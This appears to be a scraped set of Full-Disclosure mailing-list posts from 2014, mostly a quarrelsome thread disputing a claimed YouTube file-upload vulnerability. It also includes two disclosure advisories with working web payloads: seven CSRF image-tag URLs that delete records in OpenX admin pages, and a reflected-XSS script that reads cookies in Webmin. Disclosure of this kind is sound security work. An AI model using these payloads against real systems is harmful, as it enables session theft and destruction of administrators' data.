It's amazing how much dumber I feel for having read your drivel. Please for the love of $diety stop posting to this list. -- W. Scott Lockwood III AMST Tech (SPI) GWB2009033817 http://www.shadowplayinternational.org/ There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order. -Ed Howdershelt (Author) On Fri, Mar 14, 2014 at 9:48 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Go to sleep. You have absolutely no understanding of the vulnerability, nor you have the facts. If you want a full report ask Softpedia, because we aint releasing them. On Fri, Mar 14, 2014 at 8:39 PM, R D rd.secli...@gmail.com wrote: You are trying to execute an sh script through a video player. That's an exec() command. No, it's not. That's an HTTP GET. Do you have such a poor understanding of how web applications work? Or did you just not read what I said? So its the wrong way about accessing the file. This way, which is the standard way to access files on youtube, tells me the file doesn't exist. You have yet to prove the file you uploaded can be accessed or executed by anyone. For that matter, you have still to prove it can be discovered by anyone. That URL is hard to guess. And you have still to answer all my other questions, and most of the questions asked to you on this list. The burden of proof is on you, and you are making a fool of yourself by answering all the questions here with the same statements, and links to your PoC that doesn't proves anything, while everybody asks you for more evidence. Keep on the (good?) work, --Rob' On Fri, Mar 14, 2014 at 9:22 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: You are trying to execute an sh script through a video player. That's an exec() command. So its the wrong way about accessing the file. On Fri, Mar 14, 2014 at 8:20 PM, R D rd.secli...@gmail.com wrote: No it's not. As Chris and I are saying, you don't have proof your file is accessible to others, only that is was uploaded. Now, you see, when you upload a video to youtube, you get the adress where it will be viewable in the response. In your case : {sessionStatus:{state:FINALIZED,externalFieldTransfers:[{name:file,status:COMPLETED,bytesTransferred:113,bytesTotal:113,formPostInfo:{url:http://www.youtube.com/upload/rupio?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026file_id=000,cross_domain_url:http://upload.youtube.com/?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026origin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw},content_type:text/x-sh}],additionalInfo:{uploader_service.GoogleRupioAdditionalInfo:{completionInfo:{status:SUCCESS,customerSpecificInfo:{status: ok, video_id: KzKDtijwHFI,upload_id:AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw}} And what do we get when we browse to https://youtube.com/watch?v=KzKDtijwHFI ? Nothing. Can you send me a link where I can access the file content of the arbitrary file you uploaded? Are you sure this json response, or this file, will be there in a month? Or in a year? Is the fact that this json response exists a threat to youtube? Can you quantify how of a threat? How much, in dollars, does it hurt their business? --Rob On Fri, Mar 14, 2014 at 9:08 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: My claim is now verified Cheers! On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: http://upload.youtube.com/?authuser=0upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw That information can be queried from the db, where the metadata are saved. The files are being saved persistently , as per the above example. On Fri, Mar 14, 2014 at 8:04 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: http://upload.youtube.com/?authuser=0upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw That information can be queried from the db, where the metadata are saved. The files are being saved persistently , as per the above example. On Fri, Mar 14, 2014 at 8:00 PM, Chris Thompson christhom7...@gmail.com wrote: Hi Nikolas, Please do read (and understand) my entire email before responding - I understand your frustration trying to get your message across but maybe this will help. Please put aside professional pride for the time being - I know how it feels to be passionate about something yet have others simply not understand. Let me try and bring some sanity to the discussion
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Omg please for the love of all things human STFU!!! Sent from my iPhone On Mar 15, 2014, at 12:43 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: If you wish to talk seriously about the problem, please send me an email privately. And we can talk about what we have found so far, and perhaps present some more proof of concepts for this on going research. This is between the researcher and Google. People who do not have the facts have been, trying to attack the arguer, on the basis of their personal beliefs. We are not speaking from experience, but based on our findings which includes PoC media, images, codes - and based on academic literature and recognised practise. Please bear in mind that a lot of research is conducted in academia (those old papers you say) before finally released to the commercial markets. Regards, Nicholas Lemonias Information Security Expert Advanced Information Security Corp. On Fri, Mar 14, 2014 at 10:49 PM, Mario Vilas mvi...@gmail.com wrote: Try learning how to properly send emails before critizicing anyone, pal. ;) On Fri, Mar 14, 2014 at 6:44 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: People can read the report if they like. Can't you even do basic things like reading a vulnerability report? Can't you see that the advisory is about writing arbitrary files. If I was your boss I would fire you. -- Forwarded message -- From: Nicholas Lemonias. lem.niko...@googlemail.com Date: Fri, Mar 14, 2014 at 5:43 PM Subject: Re: [Full-disclosure] Google vulnerabilities with PoC To: Mario Vilas mvi...@gmail.com People can read the report if they like. Can't you even do basic things like reading a vulnerability report? Can't you see that the advisory is about writing arbitrary files. If I was your boss I would fire you, with a good kick outta the door. On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote: On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Jerome of Mcafee has made a very valid point on revisiting separation of duties in this security instance. Happy to see more professionals with some skills. Some others have also mentioned the feasibility for Denial of Service attacks. Remote code execution by Social Engineering is also a prominent scenario. Actually, people have been pointing out exactly the opposite. But if you insist on believing you can DoS an EC2 by uploading files, good luck to you then... If you can't tell that that is a vulnerability (probably coming from a bunch of CEH's), I feel sorry for those consultants. You're the only one throwing around certifications here. I can no longer tell if you're being serious or this is a massive prank. Nicholas. On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: We are on a different level perhaps. We do certainly disagree on those points. I wouldn't hire you as a consultant, if you can't tell if that is a valid vulnerability.. Best Regards, Nicholas Lemonias. On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote: But do you have all the required EH certifications? Try this one from the Institute for Certified Application Security Specialists: http://www.asscert.com/ On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Thanks Michal, We are just trying to improve Google's security and contribute to the research community after all. If you are still on EFNet give me a shout some time. We have done so and consulted to hundreds of clients including Microsoft, Nokia, Adobe and some of the world's biggest corporations. We are also strict supporters of the ACM code of conduct. Regards, Nicholas Lemonias. AISec On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Hi Jerome, Thank you for agreeing on access control, and separation of duties. However successful exploitation permits arbitrary write() of any file of choice. I could release an exploit code in C Sharp or Python that permits multiple file uploads of any file/types, if the Google security team feels that this would be necessary. This is unpaid work, so we are not so keen on that job. On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.com wrote: Hi I concur that we are mainly discussing a terminology problem. In the context of a Penetration Test or WAPT, this is a Finding. Reporting this finding makes sense in this context. As a professional, you would have to explain if/how this finding is a Weakness*, a Violation (/Regulations, Compliance, Policies or Requirements[1]) * I would say Weakness + Exposure = Vulnerability. Vulnerability + Exploitability (PoC) = Confirmed Vulnerability that needs Business Impact and
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 On 03/15/2014 02:26, Nicholas Lemonias. wrote: https://www.youtube.com/watch?v=G4EkgJtjDvU - Here is proof that the file is saved and processed. disclaimer Compared to probably most of the folks on this list, I have absolutely no idea what I'm doing. /disclaimer However, at the time I accessed your latest URL (around 2:51 AM EST, or 6:51 GMT), I got a message saying The video is currently being processed. So, for all we know, the file is in some queue, waiting for Google to notice that it's invalid, at which point it will be deleted. Please get back to us when we are able to download your invalid file, via YouTube, on our various machines scattered across the globe. Also, please stop sending so many damn short emails in a row. Consolidation is nice. Thank you, BW - -- Brian M. Waters +1 (908) 380-8214 br...@brianmwaters.net -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.22 (FreeBSD) iQEcBAEBCgAGBQJTI/v3AAoJEEYNFaEjEsGopDwH/R8q9+1wWsKg0j8Wg5zIdZZr tVNT0IIh9vyjC57WxxQ2SamKoEWsCSt4A8aQ60gup2ImT+XoRpSYMZKWAyKOwz// yiDjKKI9fsRRdXaBT3r8uWLftWA8WzASrMqrqMhayj06HNXjRXhyonJVdxxgrg/6 h+FaZYGlYdmrGtb02pve5i7in6OoYBQj4m85KVzq+Pnvfowqo6VHzlLwfK3vaD4a 8sEm+i63N02VT6ItO9y7fCcv52pU0sjepGIoYV2aTHkIR3BaNmyxSEVaOZclDY37 6HFSdkWZP0rvkQefNY6QcUvMfBszxFfecQ5cGfIcbScx35iLChXQMYJpH9dmPao= =Ngjk -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Full-Disclosure Digest, Vol 109, Issue 32
For the n00b guy in the room, Great post Chris! Thanks for spelling it out clearly. Message: 6 Date: Fri, 14 Mar 2014 16:00:02 -0400 From: Chris Thompson christhom7...@gmail.com To: lem.niko...@googlemail.com, full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC Message-ID: CALHzGp4-tjHByqZxJ+mR4= ysuwpg4fu7byno8h3f-29e51d...@mail.gmail.com Content-Type: text/plain; charset=iso-8859-1 Hi Nikolas, Please do read (and understand) my entire email before responding - I understand your frustration trying to get your message across but maybe this will help... Matt So much to learn, So little time ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Just curious; what universities have hired you as a lecturer? On Sat, Mar 15, 2014 at 1:09 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: You are too vague. Please keep this to a level. Thank you. *Best Regards,* *Nicholas Lemonias* *Advanced Information Security Corporation.* On Sat, Mar 15, 2014 at 5:06 AM, Colette Chamberland cjchamberl...@gmail.com wrote: Omg please for the love of all things human STFU!!! Sent from my iPhone On Mar 15, 2014, at 12:43 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: If you wish to talk seriously about the problem, please send me an email privately. And we can talk about what we have found so far, and perhaps present some more proof of concepts for this on going research. This is between the researcher and Google. People who do not have the facts have been, trying to attack the arguer, on the basis of their personal beliefs. We are not speaking from experience, but based on our findings which includes PoC media, images, codes - and based on academic literature and recognised practise. Please bear in mind that a lot of research is conducted in academia (those old papers you say) before finally released to the commercial markets. Regards, *Nicholas Lemonias* *Information Security Expert* *Advanced Information Security Corp.* On Fri, Mar 14, 2014 at 10:49 PM, Mario Vilas mvi...@gmail.com wrote: Try learning how to properly send emails before critizicing anyone, pal. ;) On Fri, Mar 14, 2014 at 6:44 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: People can read the report if they like. Can't you even do basic things like reading a vulnerability report? Can't you see that the advisory is about writing arbitrary files. If I was your boss I would fire you. -- Forwarded message -- From: Nicholas Lemonias. lem.niko...@googlemail.com Date: Fri, Mar 14, 2014 at 5:43 PM Subject: Re: [Full-disclosure] Google vulnerabilities with PoC To: Mario Vilas mvi...@gmail.com People can read the report if they like. Can't you even do basic things like reading a vulnerability report? Can't you see that the advisory is about writing arbitrary files. If I was your boss I would fire you, with a good kick outta the door. On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote: On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Jerome of Mcafee has made a very valid point on revisiting separation of duties in this security instance. Happy to see more professionals with some skills. Some others have also mentioned the feasibility for Denial of Service attacks. Remote code execution by Social Engineering is also a prominent scenario. Actually, people have been pointing out exactly the opposite. But if you insist on believing you can DoS an EC2 by uploading files, good luck to you then... If you can't tell that that is a vulnerability (probably coming from a bunch of CEH's), I feel sorry for those consultants. You're the only one throwing around certifications here. I can no longer tell if you're being serious or this is a massive prank. Nicholas. On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: We are on a different level perhaps. We do certainly disagree on those points. I wouldn't hire you as a consultant, if you can't tell if that is a valid vulnerability.. Best Regards, Nicholas Lemonias. On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.comwrote: But do you have all the required EH certifications? Try this one from the Institute for Certified Application Security Specialists: http://www.asscert.com/ On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Thanks Michal, We are just trying to improve Google's security and contribute to the research community after all. If you are still on EFNet give me a shout some time. We have done so and consulted to hundreds of clients including Microsoft, Nokia, Adobe and some of the world's biggest corporations. We are also strict supporters of the ACM code of conduct. Regards, Nicholas Lemonias. AISec On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Hi Jerome, Thank you for agreeing on access control, and separation of duties. However successful exploitation permits arbitrary write() of any file of choice. I could release an exploit code in C Sharp or Python that permits multiple file uploads of any file/types, if the Google security team feels that this would be necessary. This is unpaid work, so we are not so keen on that job. On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.com wrote: Hi I concur that we are mainly discussing a terminology problem. In the context of a Penetration Test or WAPT, this is a Finding. Reporting this finding makes
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Btw, not sure if someone already mentioned it, but you are really reaching the level of MustLive. That's actually a big achievement. Congratz. I'm not sure if you got what lcamtuf is saying (I'm impressed he still takes time to reply to you), apparently not. You're still trying to convince us that you're right. Maybe you can create the next LOIC specifically tailored to DoS Youtube with this serious bug, ROFL! Cheers antisnatchor Nicholas Lemonias. wrote: If you wish to talk seriously about the problem, please send me an email privately. And we can talk about what we have found so far, and perhaps present some more proof of concepts for this on going research. This is between the researcher and Google. People who do not have the facts have been, trying to attack the arguer, on the basis of their personal beliefs. We are not speaking from experience, but based on our findings which includes PoC media, images, codes - and based on academic literature and recognised practise. Please bear in mind that a lot of research is conducted in academia (those old papers you say) before finally released to the commercial markets. Regards, *Nicholas Lemonias* *Information Security Expert* *Advanced Information Security Corp.* On Fri, Mar 14, 2014 at 10:49 PM, Mario Vilas mvi...@gmail.com wrote: Try learning how to properly send emails before critizicing anyone, pal. ;) On Fri, Mar 14, 2014 at 6:44 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: People can read the report if they like. Can't you even do basic things like reading a vulnerability report? Can't you see that the advisory is about writing arbitrary files. If I was your boss I would fire you. -- Forwarded message -- From: Nicholas Lemonias. lem.niko...@googlemail.com Date: Fri, Mar 14, 2014 at 5:43 PM Subject: Re: [Full-disclosure] Google vulnerabilities with PoC To: Mario Vilas mvi...@gmail.com People can read the report if they like. Can't you even do basic things like reading a vulnerability report? Can't you see that the advisory is about writing arbitrary files. If I was your boss I would fire you, with a good kick outta the door. On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote: On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Jerome of Mcafee has made a very valid point on revisiting separation of duties in this security instance. Happy to see more professionals with some skills. Some others have also mentioned the feasibility for Denial of Service attacks. Remote code execution by Social Engineering is also a prominent scenario. Actually, people have been pointing out exactly the opposite. But if you insist on believing you can DoS an EC2 by uploading files, good luck to you then... If you can't tell that that is a vulnerability (probably coming from a bunch of CEH's), I feel sorry for those consultants. You're the only one throwing around certifications here. I can no longer tell if you're being serious or this is a massive prank. Nicholas. On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: We are on a different level perhaps. We do certainly disagree on those points. I wouldn't hire you as a consultant, if you can't tell if that is a valid vulnerability.. Best Regards, Nicholas Lemonias. On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.comwrote: But do you have all the required EH certifications? Try this one from the Institute for Certified Application Security Specialists: http://www.asscert.com/ On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Thanks Michal, We are just trying to improve Google's security and contribute to the research community after all. If you are still on EFNet give me a shout some time. We have done so and consulted to hundreds of clients including Microsoft, Nokia, Adobe and some of the world's biggest corporations. We are also strict supporters of the ACM code of conduct. Regards, Nicholas Lemonias. AISec On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Hi Jerome, Thank you for agreeing on access control, and separation of duties. However successful exploitation permits arbitrary write() of any file of choice. I could release an exploit code in C Sharp or Python that permits multiple file uploads of any file/types, if the Google security team feels that this would be necessary. This is unpaid work, so we are not so keen on that job. On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.com wrote: Hi I concur that we are mainly discussing a terminology problem. In the context of a Penetration Test or WAPT, this is a Finding. Reporting this finding makes sense in this context. As a professional, you would have to explain if/how this finding is a
Re: [Full-disclosure] Google vulnerabilities with PoC
I have been watching this thread for a while and I think some people are being hostile here. There is nothing to gain being on eithers side but for the sake of security. As a penetration tester, writer, and malware analyst with a long and rewarding career...it would be absurd to admit that this is not a vulnerability. If the content-type fields can be altered and the API accepts it that is undoubtedly a vulnerability, I believe that it shouldn't be there. It would be a shame to say that this is not a security problem. I have seen different responses on this thread but having seen the proof of concept images as well I just think that some of the people commenting here are just being hostile. It doesn't take much for somebody in the field, to see clearly that Google does not want to pay. And I bet any amount of money that the bug bounty program is a way for filing potential threats by name and bank details. Rgds, M. Kirschbaum ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
On Sat, Mar 15, 2014 at 5:43 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: People who do not have the facts have been, trying to attack the arguer, on the basis of their personal beliefs. Wow. I seriously can't tell if you're trolling or unbelievably narcissistic. Your work has serious flaws, and have been pointed out with facts over and over - but you think they're ad-hominem attacks based on the tone of their replies. Zalewski here is just trying to be nice and patient with you - but you somehow seem to believe he agrees with you based on the tone of his replies. You're either faking it and pulling a massive prank on all of us, or you're so self absorbed you can't get past your own emotional responses to people pointing out your mistakes. The actual contents of what they tell you are irrelevant to you, all that matters is if people praise or criticize you. I'm beginning to think you may have issues and we should all back off for a while. -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
That is not what this email says. You can't reply correct to criticism and pretend it's praise. On Sat, Mar 15, 2014 at 6:11 AM, Nicholas Lemonias. lem.niko...@googlemail.com wrote: Correct. The mime type can be circumvented. We can confirm this to be a valid vulnerability. For the PoC's : http://news.softpedia.com/news/Expert-Finds-File-Upload-Vulnerability-in-YouTube-Google-Denies-It-s-a-Security-Issue-431489.shtml On Fri, Mar 14, 2014 at 8:40 PM, Krzysztof Kotowicz kkotowicz...@gmail.com wrote: 2014-03-14 20:28 GMT+01:00 Nicholas Lemonias. lem.niko...@googlemail.com : Then that also means that firewalls and IPS systems are worthless. Why spend so much time protecting the network layers if a user can send any file of choice to a remote network through http... No, they are not worthless per se, but of course for an user content publishing service they need to allow file upload over HTTP/s. How far those files are inspected and later processed is another question - and that could lead to a vulnerability that you DIDN'T demonstrate. You just uploaded a .sh file. There's no harm in that as nowhere did you prove that that file is being executed. Similarly (and that has been pointed out in this thread) you could upload a PHP-GIF polyglot file to a J2EE application - no vulnerability in this. Prove something by overwriting a crucial file, tricking other user's browser to execute the file as HTML from an interesting domain (XSS), popping a shell, triggering XXE when the file is processed as XML, anything. Then that is a vulnerability. So far - sorry, it is not, and you've been told it repeatedly. As for the uploaded files being persistent, there is evidence of that. For instance a remote admin could be tricked to execute some of the uploaded files (Social Engineering). Come on, seriously? Social Engineering can make him download this file from pastebin just as well. That's a real stretch. IMHO it is not a security issue. You're uploading a file to some kind of processing queue that does not validate a file type, but nevertheless only processes those files as video - there is NO reason to suspect otherwise, and I'd like to be proven wrong here. Proven as in PoC. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
I believe Zalewski has explained very well why it isn't a vulnerability, and you couldn't possibly be calling him hostile. :) On Sat, Mar 15, 2014 at 11:20 AM, M Kirschbaum pr...@yahoo.co.uk wrote: I have been watching this thread for a while and I think some people are being hostile here. There is nothing to gain being on eithers side but for the sake of security. As a penetration tester, writer, and malware analyst with a long and rewarding career...it would be absurd to admit that this is not a vulnerability. If the content-type fields can be altered and the API accepts it that is undoubtedly a vulnerability, I believe that it shouldn't be there. It would be a shame to say that this is not a security problem. I have seen different responses on this thread but having seen the proof of concept images as well I just think that some of the people commenting here are just being hostile. It doesn't take much for somebody in the field, to see clearly that Google does not want to pay. And I bet any amount of money that the bug bounty program is a way for filing potential threats by name and bank details. Rgds, M. Kirschbaum ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
On top of that, Google spent millions of dollars to buy Chrome exploits, sandbox bypasses and webapp bugs. So, if this was a REAL bug with some REAL security impact, I don't think Google wouldn't have paid. They have a REAL budget for that, they are not like Yahoo that sends you a t-shirt. The security industry has become a big business for many, with bug bounties, no more free bugs (and hugs), 100 pages of low/info risk findings bumped to high risk to scare the customer, and so on. At least do not pretend money when there is no security bug, and in general don't be a pretender if you don't have a clue. Cheers antisnatchor Mario Vilas wrote: I believe Zalewski has explained very well why it isn't a vulnerability, and you couldn't possibly be calling him hostile. :) On Sat, Mar 15, 2014 at 11:20 AM, M Kirschbaum pr...@yahoo.co.uk wrote: I have been watching this thread for a while and I think some people are being hostile here. There is nothing to gain being on eithers side but for the sake of security. As a penetration tester, writer, and malware analyst with a long and rewarding career...it would be absurd to admit that this is not a vulnerability. If the content-type fields can be altered and the API accepts it that is undoubtedly a vulnerability, I believe that it shouldn't be there. It would be a shame to say that this is not a security problem. I have seen different responses on this thread but having seen the proof of concept images as well I just think that some of the people commenting here are just being hostile. It doesn't take much for somebody in the field, to see clearly that Google does not want to pay. And I bet any amount of money that the bug bounty program is a way for filing potential threats by name and bank details. Rgds, M. Kirschbaum ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- Cheers Michele ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [CVE-2013-5954] Multiple Cross Site Request Forgery Vulnerabilities in OpenX 2.8.11
Hello, Multiple cross-site request forgery (CSRF) vulnerabilities in OpenX 2.8.11and earlier allows remote attackers to hijack the authentication of administrators for requests that delete (1) users, (2) advertisers, (3) banners, (4) campaigns, (5) channels, (6) websites or (7) zones via delete actions. File: admin/agency-user-unlink.php POC: img src='http://site/admin/agency-user-unlink.php?agencyid=1userid=18' width=1 height=1 border=0 File: admin/advertiser-delete.php POC: img src='http://site/admin/advertiser-delete.php?clientid=10' width=1 height=1 border=0 File: admin/banner-delete.php POC: img src='http://site/admin/banner-delete.php?clientid=2campaignid=7bannerid=16' width=1 height=1 border=0 File: admin/campaign-delete.php POC: img src='http://site/admin/campaign-delete.php?clientid=2campaignid=11' width=1 height=1 border=0 File: admin/channel-delete.php POC: img src='http://site/admin/channel-delete.php?affiliateid=1channelid=6' width=1 height=1 border=0 File: admin/affiliate-delete.php POC: img src='http://site/admin/affiliate-delete.php?affiliateid=9' width=1 height=1 border=0 File: admin/zone-delete.php POC: img src='http://site/admin/zone-delete.php?affiliateid=1zoneid=11' width=1 height=1 border=0 Best regards. OpenX CSRF Vulnerabilities Report.docx Description: application/vnd.openxmlformats-officedocument.wordprocessingml.document ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Some of the replies in this thread are very unfair to the original poster.I have read the news story and have thoroughly read the proof of concepts which in my opinion indicate that this is surely a security vulnerability. I have worked for Lumension as a security consultant for more than a decade. I have never thought that Google would have gone that far. Quite scary if you ask me... Do notbe discouraged, as a security researcher I have also been getting that. I can certainly certify that this is a security problem, no doubts about that.Big AlGet your free email @http://www.xtcmail.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
Dear Mario, There is nothing to gain being on either side. I have already read the thread replies by M. Zalewski. I believe Google is false and does not honor the security community. Rgds, M. Kirschbaum On Saturday, 15 March 2014, 11:11, Mario Vilas mvi...@gmail.com wrote: I believe Zalewski has explained very well why it isn't a vulnerability, and you couldn't possibly be calling him hostile. :) On Sat, Mar 15, 2014 at 11:20 AM, M Kirschbaum pr...@yahoo.co.uk wrote: I have been watching this thread for a while and I think some people are being hostile here. There is nothing to gain being on eithers side but for the sake of security. As a penetration tester, writer, and malware analyst with a long and rewarding career...it would be absurd to admit that this is not a vulnerability. If the content-type fields can be altered and the API accepts it that is undoubtedly a vulnerability, I believe that it shouldn't be there. It would be a shame to say that this is not a security problem. I have seen different responses on this thread but having seen the proof of concept images as well I just think that some of the people commenting here are just being hostile. It doesn't take much for somebody in the field, to see clearly that Google does not want to pay. And I bet any amount of money that the bug bounty program is a way for filing potential threats by name and bank details. Rgds, M. Kirschbaum ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.”___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Reflected XSS Attacks XSS vulnerabilities in Webmin 1.670 (CVE-2014-0339)
I. VULNERABILITY - Reflected XSS Attacks XSS vulnerabilities in Webmin 1.670 II. BACKGROUND - Webmin is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS, file sharing and much more. Webmin removes the need to manually edit Unix configuration files like /etc/passwd, and lets you manage a system from the console or remotely. See the standard modules page for a list of all the functions built into Webmin, or check out the screenshots. III. DESCRIPTION - Has been detected a Reflected XSS vulnerability in Webmin 1.670 in page of log, that allows the execution of arbitrary HTML/script code to be executed in the context of the victim user's browser. The code injection is done through the parameter search in page https://IP:1/webminlog/view.cgi?id=1search= IV. PROOF OF CONCEPT - https://192.168.49.132:1/webminlog/view.cgi?id=1search=e;scriptalert(document.cookie);/script V. BUSINESS IMPACT - An attacker can execute arbitrary HTML or script code in a targeted user's browser, this can leverage to steal sensitive information as user credentials, personal data, etc. VI. SYSTEMS AFFECTED - Webmin version 1.670 install in Debian VII. SOLUTION - All data received by the application and can be modified by the user, before making any kind of transaction with them must be validated. VIII. References - http://www.kb.cert.org/vuls/id/381692 http://www.webmin.com/changes.html ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google vulnerabilities with PoC
